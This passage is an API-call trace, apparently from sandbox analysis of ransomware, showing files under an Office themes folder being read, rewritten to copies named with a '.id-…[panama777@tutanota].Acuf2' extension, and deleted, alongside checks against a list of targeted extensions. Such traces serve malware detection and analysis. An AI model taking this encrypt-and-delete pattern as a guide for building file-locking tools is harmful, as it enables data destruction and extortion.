	[0051.072] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x507, lpOverlapped=0x0) returned 1
	[0051.073] WriteFile (in: hFile=0x1c0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x510, lpOverlapped=0x0) returned 1
	[0051.075] ReadFile (in: hFile=0x20c, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.075] WriteFile (in: hFile=0x1c0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.075] SetEndOfFile (hFile=0x1c0) returned 1
	[0051.075] CloseHandle (hObject=0x1c0) returned 1
	[0051.075] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.075] SetEndOfFile (hFile=0x20c) returned 1
	[0051.076] CloseHandle (hObject=0x20c) returned 1
	[0051.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1
	[0051.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.077] lstrlenW (lpString=".doc") returned 4
	[0051.077] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.077] lstrlenW (lpString=".docx") returned 5
	[0051.077] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.077] lstrlenW (lpString=".pdf") returned 4
	[0051.077] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.077] lstrlenW (lpString=".xls") returned 4
	[0051.077] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.077] lstrlenW (lpString=".xlsx") returned 5
	[0051.077] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.077] lstrlenW (lpString=".ppt") returned 4
	[0051.077] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.077] lstrlenW (lpString=".zip") returned 4
	[0051.077] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.077] lstrlenW (lpString=".rar") returned 4
	[0051.077] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.077] lstrlenW (lpString=".bz2") returned 4
	[0051.077] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.077] lstrlenW (lpString=".7z") returned 3
	[0051.077] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.077] lstrlenW (lpString=".dbf") returned 4
	[0051.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.078] lstrlenW (lpString=".1cd") returned 4
	[0051.078] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.078] lstrlenW (lpString=".jpg") returned 4
	[0051.078] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.078] lstrlenW (lpString=".doc") returned 4
	[0051.078] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.078] lstrlenW (lpString=".docx") returned 5
	[0051.078] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.078] lstrlenW (lpString=".pdf") returned 4
	[0051.078] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString=".xls") returned 4
	[0051.078] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString=".xlsx") returned 5
	[0051.078] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.078] lstrlenW (lpString=".ppt") returned 4
	[0051.078] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.078] lstrlenW (lpString=".zip") returned 4
	[0051.078] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString=".rar") returned 4
	[0051.078] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.078] lstrlenW (lpString=".bz2") returned 4
	[0051.078] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.078] lstrlenW (lpString=".7z") returned 3
	[0051.078] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.079] lstrlenW (lpString=".dbf") returned 4
	[0051.079] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.079] lstrlenW (lpString=".1cd") returned 4
	[0051.079] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0051.079] lstrlenW (lpString=".jpg") returned 4
	[0051.079] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.079] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.079] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.141] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=18817) returned 1
	[0051.141] CloseHandle (hObject=0x1a0) returned 1
	[0051.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20
	[0051.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.141] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.141] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.142] GetLastError () returned 0x0
	[0051.142] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4981, lpOverlapped=0x0) returned 1
	[0051.143] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4990, lpOverlapped=0x0) returned 1
	[0051.145] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.145] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.145] SetEndOfFile (hFile=0x1dc) returned 1
	[0051.145] CloseHandle (hObject=0x1dc) returned 1
	[0051.145] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.145] SetEndOfFile (hFile=0x1a0) returned 1
	[0051.146] CloseHandle (hObject=0x1a0) returned 1
	[0051.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.146] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1
	[0051.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.147] lstrlenW (lpString=".doc") returned 4
	[0051.147] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.147] lstrlenW (lpString=".docx") returned 5
	[0051.147] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.147] lstrlenW (lpString=".pdf") returned 4
	[0051.147] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.147] lstrlenW (lpString=".xls") returned 4
	[0051.147] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.147] lstrlenW (lpString=".xlsx") returned 5
	[0051.147] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.147] lstrlenW (lpString=".ppt") returned 4
	[0051.147] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.147] lstrlenW (lpString=".zip") returned 4
	[0051.147] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.147] lstrlenW (lpString=".rar") returned 4
	[0051.147] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.147] lstrlenW (lpString=".bz2") returned 4
	[0051.147] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.147] lstrlenW (lpString=".7z") returned 3
	[0051.147] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.147] lstrlenW (lpString=".dbf") returned 4
	[0051.147] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.147] lstrlenW (lpString=".1cd") returned 4
	[0051.147] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.147] lstrlenW (lpString=".jpg") returned 4
	[0051.147] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.148] lstrlenW (lpString=".doc") returned 4
	[0051.148] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString=".docx") returned 5
	[0051.148] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.148] lstrlenW (lpString=".pdf") returned 4
	[0051.148] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString=".xls") returned 4
	[0051.148] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.148] lstrlenW (lpString=".xlsx") returned 5
	[0051.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.148] lstrlenW (lpString=".ppt") returned 4
	[0051.148] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.148] lstrlenW (lpString=".zip") returned 4
	[0051.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.148] lstrlenW (lpString=".rar") returned 4
	[0051.148] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.148] lstrlenW (lpString=".bz2") returned 4
	[0051.148] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString=".7z") returned 3
	[0051.148] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.148] lstrlenW (lpString=".dbf") returned 4
	[0051.148] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.148] lstrlenW (lpString=".1cd") returned 4
	[0051.148] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72
	[0051.149] lstrlenW (lpString=".jpg") returned 4
	[0051.149] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.149] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.149] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.149] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1232) returned 1
	[0051.149] CloseHandle (hObject=0x1a0) returned 1
	[0051.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20
	[0051.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.150] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.150] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.151] GetLastError () returned 0x0
	[0051.151] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4d0, lpOverlapped=0x0) returned 1
	[0051.153] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4e0, lpOverlapped=0x0) returned 1
	[0051.154] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.154] WriteFile (in: hFile=0x1dc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.154] SetEndOfFile (hFile=0x1dc) returned 1
	[0051.154] CloseHandle (hObject=0x1dc) returned 1
	[0051.154] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.154] SetEndOfFile (hFile=0x1a0) returned 1
	[0051.155] CloseHandle (hObject=0x1a0) returned 1
	[0051.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.155] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1
	[0051.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.156] lstrlenW (lpString=".doc") returned 4
	[0051.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.156] lstrlenW (lpString=".docx") returned 5
	[0051.156] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.156] lstrlenW (lpString=".pdf") returned 4
	[0051.156] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.156] lstrlenW (lpString=".xls") returned 4
	[0051.156] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.156] lstrlenW (lpString=".xlsx") returned 5
	[0051.156] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.156] lstrlenW (lpString=".ppt") returned 4
	[0051.156] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.156] lstrlenW (lpString=".zip") returned 4
	[0051.156] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.156] lstrlenW (lpString=".rar") returned 4
	[0051.156] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.156] lstrlenW (lpString=".bz2") returned 4
	[0051.156] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.156] lstrlenW (lpString=".7z") returned 3
	[0051.156] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.156] lstrlenW (lpString=".dbf") returned 4
	[0051.156] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.156] lstrlenW (lpString=".1cd") returned 4
	[0051.156] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.157] lstrlenW (lpString=".jpg") returned 4
	[0051.157] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.157] lstrlenW (lpString=".doc") returned 4
	[0051.157] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.157] lstrlenW (lpString=".docx") returned 5
	[0051.157] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.157] lstrlenW (lpString=".pdf") returned 4
	[0051.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString=".xls") returned 4
	[0051.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString=".xlsx") returned 5
	[0051.157] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.157] lstrlenW (lpString=".ppt") returned 4
	[0051.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.157] lstrlenW (lpString=".zip") returned 4
	[0051.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString=".rar") returned 4
	[0051.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.157] lstrlenW (lpString=".bz2") returned 4
	[0051.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.157] lstrlenW (lpString=".7z") returned 3
	[0051.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.157] lstrlenW (lpString=".dbf") returned 4
	[0051.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.158] lstrlenW (lpString=".1cd") returned 4
	[0051.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0051.158] lstrlenW (lpString=".jpg") returned 4
	[0051.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.158] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.158] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.158] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=18413) returned 1
	[0051.158] CloseHandle (hObject=0x1a0) returned 1
	[0051.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20
	[0051.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0051.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
